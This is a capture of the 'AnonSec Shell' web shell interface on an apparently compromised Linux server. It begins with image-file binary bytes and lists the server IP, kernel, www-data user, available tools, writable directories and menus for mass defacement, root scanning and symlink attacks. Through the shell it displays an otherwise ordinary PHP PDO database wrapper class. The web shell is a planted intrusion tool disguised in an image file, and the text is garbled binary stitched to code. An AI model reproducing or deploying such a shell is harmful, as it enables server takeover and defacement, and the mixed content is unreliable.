JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/22665/cwd/html/siac/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/22665/cwd/html/siac/dev/Db.php
<?php
    
    /**
     * Db
     * PHP 5.3+
     */
    class Db
    {
        /* Configuration */
        /**
         * Configuration storage
         * @var array
         */
        protected static $config
            = array(
                'driver' => 'mysql'
            , 'host'     => 'localhost'
            , 'port'     => 3307
            , 'fetch'    => 'stdClass'
            );
        /**
         * Multiton instances
         * @var array
         */
        protected static $instance  = array();
        /* Static instances */
        protected static $arguments = array('driver', 'host', 'database', 'user', 'password');
        /**
         * Database connection
         * @var PDO
         */
        protected $db;
        /**
         * Latest query statement
         * @var PDOStatement
         */
        protected $result;
        /* Constructor */
        /**
         * Database information
         * @var stdClass
         */
        protected $info;
        /**
         * Statements cache
         * @var array
         */
        protected $statement = array();
        /**
         * Tables shema information cache
         * @var array
         */
        protected $table = array();
        /**
         * Primary keys information cache
         * @var array
         */
        protected $key = array();

        /**
         * Constructor
         * @uses  PDO
         * @throw PDOException
         * @param string $driver   Database driver
         * @param string $host     Database host
         * @param string $database Database name
         * @param string $user     User name
         * @param string $pass     [Optional] User password
         * @see   http://php.net/manual/fr/pdo.construct.php
         * @todo  Support port/socket within DSN?
         */
        public function __construct($driver, $host, $database, $user, $password = null)
        {
            set_exception_handler(array(__CLASS__, 'safe_exception'));
            $this->db = new pdo($driver . ':host=' . $host . ';dbname=' . $database, $user, $password, array(
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
            ));
            restore_exception_handler();
            $this->db->exec('SET NAMES "UTF8"');
            $this->info = (object)array_combine(static::$arguments, func_get_args());
            unset($this->info->password);
        }

        /**
         * Get singleton instance
         * @uses   static::config
         * @uses   static::__construct
         * @param string $driver   [Optional] Database driver
         * @param string $host     [Optional] Database host
         * @param string $database [Optional] Database name
         * @param string $user     [Optional] User name
         * @param string $pass     [Optional] User password
         * @return Db Singleton instance
         */
        static public function __callStatic($name, $config)
        {
            if (isset(static::$instance[$name]))
                return static::$instance[$name];
            $config = array_merge(
                static::config(),
                array_filter(array_combine(static::$arguments, $config + array_fill(0, count(static::$arguments), null)))
            );
            return static::$instance[$name] = new static($config['driver'], $config['host'], $config['database'], $config['user'], $config['password']);
        }
        
        /**
         * Get and set default Db configurations
         * @uses   static::config
         * @param  string|array $key   [Optional] Name of configuration or hash array of configurations names / values
         * @param  mixed        $value [Optional] Value of the configuration
         * @return mixed        Configuration value(s), get all configurations when called without arguments
         */
        static public function config($key = null, $value = null)
        {
            if (!isset($key))
                return static::$config;
            if (isset($value))
                return static::$config[(string)$key] = $value;
            if (is_array($key))
                return array_map('static::config', array_keys((array)$key), array_values((array)$key));
            if (isset(static::$config[$key]))
                return static::$config[$key];
        }
        
        /**
         * Avoid exposing exception informations
         * @param Exception $exception [Optional] User password
         */
        public static function safe_exception(Exception $exception)
        {
            die('Uncaught exception: ' . $exception->getMessage());
        }
        /* SQL query */

        /**
         * Check if array is a simple indexed list
         * @param  array $array Array to check
         * @return bool
         */
        static protected function _is_list(array $array)
        {
            foreach (array_keys($array) as $key)
                if (!is_int($key))
                    return false;
            return true;
        }
        /* Query methods */

        /**
         * Get latest SQL query
         * @return string Latest SQL query
         */
        public function __toString()
        {
            return $this->result ?
                $this->result->queryString :
                null;
        }
        
        /**
         * Execute SQL select query
         * @uses   PDO::query
         * @throw  PDOException
         * @param  string       $table
         * @param  string|array $fields [Optional]
         * @param  string|array $where  [Optional]
         * @param  string       $order  [Optional]
         * @param  string|int   $limit  [Optional]
         * @return Db     Self instance
         * @todo   Need complete review
         */
        public function select($table, $fields = '*', $where = null, $order = null, $limit = null)
        {
            $sql = 'SELECT ' . self::_fields($fields) . ' FROM ' . $this->_table($table);
            if ($where && $where = $this->_conditions($where))
                $sql .= ' WHERE ' . $where->sql;
            if ($order)
                $sql .= ' ORDER BY ' . (is_array($order) ? implode(', ', $order) : $order);
            if ($limit)
                $sql .= ' LIMIT ' . $limit;
            return $where ?
                $this->query($sql, $where->params) :
                $this->raw($sql);
        }
        
        static protected function _fields($fields)
        {
            if (empty($fields))
                return '*';
            if (is_string($fields))
                return $fields;
            return implode(', ', self::_alias($fields));
        }
        /* Query formating helpers */

        static protected function _alias(array $alias)
        {
            foreach ($alias as $k => $v)
                $_alias[] = self::_escape($v) . (is_string($k) ? ' AS ' . self::_escape($k) : '');
            return $_alias;
        }
        
        /**
         * Format query fields
         * @uses   self::_is_plain
         * @param  string $field Field String
         * @return string  SQL field query chunk
         */
        static protected function _escape($field)
        {
            return self::_is_plain($field) ?
                '`' . $field . '`' :
                $field;
        }
        
        /**
         * Check if data is a plain key (without SQL logic)
         * @param  mixed $data Data to check
         * @return bool
         */
        static protected function _is_plain($data)
        {
            if (!is_scalar($data))
                return false;
            return is_string($data) ? !preg_match('/\W/i', $data) : true;
        }
        
        protected function _table($table, $escape = true)
        {
            return $escape ?
                self::_escape($this->_database($table)) . '.' . self::_escape(self::_extract($table, 'table')) :
                $this->_database($table) . '.' . self::_extract($table, 'table');
        }
        
        protected function _database($table = null)
        {
            return self::_extract($table, 'database') ?:
                $this->info->database;
        }
        
        static protected function _extract($table, $type = 'table')
        {
            static $infos = array(
                'database' => '@(?:(`?)(?P<database>\w+)\g{-2})\.(`?)(?P<table>\w+)\g{-2}(?:\.(`?)(?P<field>\w+)\g{-2})?@'
            , 'table'      => '@(?:(`?)(?P<database>\w+)\g{-2}\.)?(?:(`?)(?P<table>\w+)\g{-2})(?:\.(`?)(?P<field>\w+)\g{-2})?@'
            , 'field'      => '@(?:(`?)(?P<database>\w+)\g{-2}\.)?(?:(`?)(?P<table>\w+)\g{-2}\.)?(`?)(?P<field>\w+)\g{-2}@'
            );
            if (!isset($infos[$type]) || !preg_match($infos[$type], $table, $match))
                return;
            $match = array_filter(array_intersect_key($match, $infos));
            return $match[$type];
        }
        
        static protected function _conditions(array $conditions)
        {
            $sql    = array();
            $params = array();
            $i      = 0;
            foreach ($conditions as $condition => $param) {
                if (is_string($condition)) {
                    for ($keys = array(), $n = 0; false!==($n = strpos($condition, '?', $n)); $n++)
                        $condition = substr_replace($condition, ':' . ($keys[] = '_' . ++$i), $n, 1);
                    if (!empty($keys))
                        $param = array_combine($keys, (array)$param);
                    if (self::_is_plain($condition)) {
                        $param     = array($condition => (string)$param);
                        $condition = self::_params($condition);
                    }
                    $params += (array)$param;
                } else
                    $condition = $param;
                $sql[] = $condition;
            }
            return (object)array(
                'sql'    => '( ' . implode(' ) AND ( ', $sql) . ' )',
                'params' => $params
            );
        }
        
        /**
         * Format query parameters
         * @uses   self::_escape
         * @param  string|array $data     Data to format
         * @param  string       $operator [Optional]
         * @param  string       $glue     [Optional]
         * @return string       SQL params query chunk
         * @todo   Handle integer keys like in self::_conditions
         */
        static protected function _params($data, $operator = '=', $glue = ', ')
        {
            $params = is_string($data) ? array($data) : array_keys((array)$data);
            foreach ($params as &$param)
                $param = implode(' ', array(self::_escape($param), $operator, ':' . $param));
            return implode($glue, $params);
        }
        
        //@todo

        /**
         * Execute SQL query with paramaters
         * @uses   PDO::prepare
         * @uses   self::_uncomment
         * @uses   PDOStatement::execute
         * @throw  PDOException
         * @param  string $sql    SQL query with placeholder
         * @param  array  $params SQL parameters to escape (quote)
         * @return Db     Self instance
         */
        public function query($sql, array $params)
        {
            $this->result = isset($this->statement[$sql]) ?
                $this->statement[$sql] :
                $this->statement[$sql] = $this->db->prepare(self::_uncomment($sql));
            $this->result->execute($params);
            return $this;
        }
        
        /**
         * Remove all (inline & multiline bloc) comments from SQL query
         * @param  string $sql SQL query string
         * @return string SQL query string without comments
         */
        static protected function _uncomment($sql)
        {
            /* '@
            (([\'"`]).*?[^\\\]\2) # $1 : Skip single & double quoted expressions
            |(                    # $3 : Match comments
              (?:\#|--).*?$       # - Single line comments
              |                   # - Multi line (nested) comments
              /\*                 #   . comment open marker
                (?: [^/*]         #   . non comment-marker characters
                  |/(?!\*)        #   . ! not a comment open
                  |\*(?!/)        #   . ! not a comment close
                  |(?R)           #   . recursive case
                )*                #   . repeat eventually
              \*\/                #   . comment close marker
            )\s*                  # Trim after comments
            |(?<=;)\s+            # Trim after semi-colon
            @msx' */
            return trim(preg_replace('@(([\'"`]).*?[^\\\]\2)|((?:\#|--).*?$|/\*(?:[^/*]|/(?!\*)|\*(?!/)|(?R))*\*\/)\s*|(?<=;)\s+@ms', '$1', $sql));
        }
        
        /**
         * Execute raw SQL query
         * @uses   PDO::query
         * @throw  PDOException
         * @param  string $sql Plain SQL query
         * @return Db     Self instance
         * @todo   ? detect USE query to update dbname ?
         */
        public function raw($sql)
        {
            $this->result = $this->db->query($sql);
            return $this;
        }
        
        /* Data column helpers */

        public function create($table, array $data)
        {
            $keys = array_keys($data);
            $sql  = 'INSERT INTO ' . $this->_table($table) . ' (' . implode(', ', $keys) . ') VALUES (:' . implode(', :', $keys) . ')';
            return $this->query($sql, $data);
        }
        
        public function read($table, $id, $key = null)
        {
            $key = $key ?: current($this->key($table));
            $sql = 'SELECT * FROM ' . $this->_table($table) . ' WHERE ' . self::_params($key);
            return $this->query($sql, array(':' . $key => $id));
        }
        
        /* CRUD methods */

        public function key($table)
        {
            $table = $this->_table($table, false);
            if (self::config($table . ':PK'))
                return self::config($table . ':PK');
            else if (isset($this->key[$table]))
                return $this->key[$table];
            $keys = array_keys(self::_column($this->fields($table), 'key'), 'PRI');
            if (empty($keys))
                throw new Exception('Nenhuma chave primária ativada na tabela ' . $this->_table($table) . ', por favor, defina uma chave primária');
            return $this->key[$table] = $keys;
        }
        
        //public function read ( $table, $where )

        public function fields($table)
        {
            $table = $this->_table($table, false);
            if (isset($this->table[$table]))
                return $this->table[$table];
            $sql    = 'SELECT
				`COLUMN_NAME`                                               AS `name`,
				`COLUMN_DEFAULT`                                            AS `default`,
				NULLIF( `IS_NULLABLE`, "NO" )                               AS `null`,
				`DATA_TYPE`                                                 AS `type`,
				COALESCE( `CHARACTER_MAXIMUM_LENGTH`, `NUMERIC_PRECISION` ) AS `length`,
				`CHARACTER_SET_NAME`                                        AS `encoding`,
				`COLUMN_KEY`                                                AS `key`,
				`EXTRA`                                                     AS `auto`,
				`COLUMN_COMMENT`                                            AS `comment`
			FROM `INFORMATION_SCHEMA`.`COLUMNS`
			WHERE
				`TABLE_SCHEMA` = ' . $this->quote(self::_database($table)) . ' AND
				`TABLE_NAME` = ' . $this->quote(self::_extract($table)) . '
			ORDER BY `ORDINAL_POSITION` ASC';
            $fields = $this->db->query($sql);
            if (!$fields->rowCount())
                throw new Exception('Tabela ' . $this->_table($table) . ' não existe, favor especificar uma tabela válida');
            return $this->table[$table] = self::_index($fields->fetchAll(PDO::FETCH_CLASS), 'name');
        }
        
        //public function update ( $table, $data, $where )

        public function quote($value)
        {
            return is_null($value) ?
                'NULL' :
                $this->db->quote($value);
        }
        
        //public function delete ( $table, $where )

        static protected function _index(array $data, $field)
        {
            return array_combine(
                self::_column($data, $field),
                $data
            );
        }
        
        /* Fetch methods */

        static protected function _column(array $data, $field)
        {
            $column = array();
            foreach ($data as $key => $row)
                if (is_object($row) && isset($row->{$field}))
                    $column[$key] = $row->{$field};
                else if (is_array($row) && isset($row[$field]))
                    $column[$key] = $row[$field];
                else
                    $column[$key] = null;
            return $column;
        }
        
        public function update($table, $data, $value = null, $id = null, $key = null)
        {
            if (is_array($data)) {
                $key = $id;
                $id  = $value;
            } else
                $data = array($data => $value);
            $key = $key ?: current($this->key($table));
            if (is_null($id) && isset($data[$key]) && !($id = $data[$key]))
                throw new Exception('Sem `' . $key . '` chave primária para upodate na tabela `' . $table . '` , favor especifique uma chave');
            $sql = 'UPDATE ' . $this->_table($table) . ' SET ' . self::_params($data) . ' WHERE ' . self::_params($key);
            return $this->query($sql, array_merge($data, array(':' . $key => $id)));
        }
        
        public function delete($table, $id, $key = null)
        {
            $key = $key ?: current($this->key($table));
            $sql = 'DELETE FROM ' . $this->_table($table) . ' WHERE ' . self::_params($key);
            return $this->query($sql, array(':' . $key => $id));
        }
        
        /* Table infos */

        public function fetch($class = null)
        {
            if (!$this->result)
                throw new Exception('Não é possível obter o resultado da consulta!');
            return $class===false ?
                $this->result->fetch(PDO::FETCH_ASSOC) :
                $this->result->fetchObject($class ?: self::config('fetch'));
        }
        
        public function column($field, $index = null)
        {
            $data   = $this->all(false);
            $values = self::_column($data, $field);
            return is_string($index) ?
                array_combine(self::_column($data, $index), $values) :
                $values;
        }
        
        /* Quote Helper */

        public function all($class = null)
        {
            if (!$this->result)
                throw new Exception('Não é possível obter o resultado da consulta!');
            return $class===false ?
                $this->result->fetchAll(PDO::FETCH_ASSOC) :
                $this->result->fetchAll(PDO::FETCH_CLASS, $class ?: self::config('fetch'));
        }
        
        public function database($table = null)
        {
            return $this->_table($table, true) ?:
                $this->info->database;
        }
        
        /* Statement infos */
        public function id()
        {
            // !! see http://php.net/manual/fr/pdo.lastinsertid.php
            return $this->db->lastInsertId();
        }
        
        public function count()
        {
            return $this->result ?
                $this->result->rowCount() :
                null;
        }
    }

Anon7 - 2022
AnonSec Team